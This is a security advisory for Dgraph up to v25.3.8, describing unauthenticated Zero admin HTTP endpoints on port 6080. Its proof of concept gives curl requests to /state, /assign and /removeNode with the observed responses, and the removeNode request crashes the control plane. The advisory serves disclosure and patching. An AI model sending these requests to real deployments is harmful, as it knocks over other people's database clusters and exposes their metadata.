GHSA-qj98-gp63-54xj

Suggest an improvement
Source
https://github.com/advisories/GHSA-qj98-gp63-54xj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qj98-gp63-54xj/GHSA-qj98-gp63-54xj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qj98-gp63-54xj
Aliases
Published
2026-10-15T20:17:22Z
Modified
2026-10-15T20:30:07Z
Severity
  • 9.2 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H CVSS Calculator
Summary
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
Details

Summary

Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.

The exposed routes include:

  • /state
  • /assign
  • /removeNode
  • /moveTablet

An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.

Details

The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.

Relevant code paths:

  • worker/server_state.go:41
  • dgraph/cmd/zero/run.go:295-301
  • dgraph/cmd/zero/http.go:106-129
  • dgraph/cmd/zero/zero.go:475-477

The relevant behavior is:

  • disable-admin-http=false by default
  • /removeNode accepts attacker-controlled id and group
  • removeNode forwards those directly into Server.RemoveNode
  • for group=0, Server.RemoveNode immediately calls ProposePeerRemoval

This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.

PoC

Read state without authentication

curl -i http://127.0.0.1:6080/state

Observed response included:

  • Zero node id=1
  • groupId=0
  • leader=true
  • cluster topology and tablet state
图片

Write-capable route without authentication

curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'

Observed response:

HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}

This confirms the admin plane is not merely informational.

图片

Destructive unauthenticated removeNode

curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'

Observed result:

curl: (52) Empty reply from server
图片

Immediately afterward:

curl -i http://127.0.0.1:6080/health

Observed result:

curl: (56) Recv failure: Connection reset by peer
图片

Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:

dial tcp [::1]:5080: connect: connection refused
图片

This confirms the request reached the destructive path and disrupted the Zero control plane.

Impact

Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.

An attacker can:

  • read cluster topology and control-plane metadata
  • allocate IDs and timestamps
  • invoke destructive membership actions
  • disrupt the Zero control plane
  • indirectly destabilize Alpha nodes that depend on Zero connectivity

This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.

Database specific
{
    "cwe_ids":  [
        "CWE-306",
        "CWE-862"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-15T20:17:22Z",
    "nvd_published_at":  "2026-10-14T19:17:05Z",
    "severity":  "CRITICAL"
}
References

Affected packages

Go / github.com/dgraph-io/dgraph/v25

Package

Name
github.com/dgraph-io/dgraph/v25
View open source insights on deps.dev
Purl
pkg:golang/github.com/dgraph-io/dgraph/v25

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
25.4.0

Database specific

last_known_affected_version_range
"<= 25.3.8"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qj98-gp63-54xj/GHSA-qj98-gp63-54xj.json"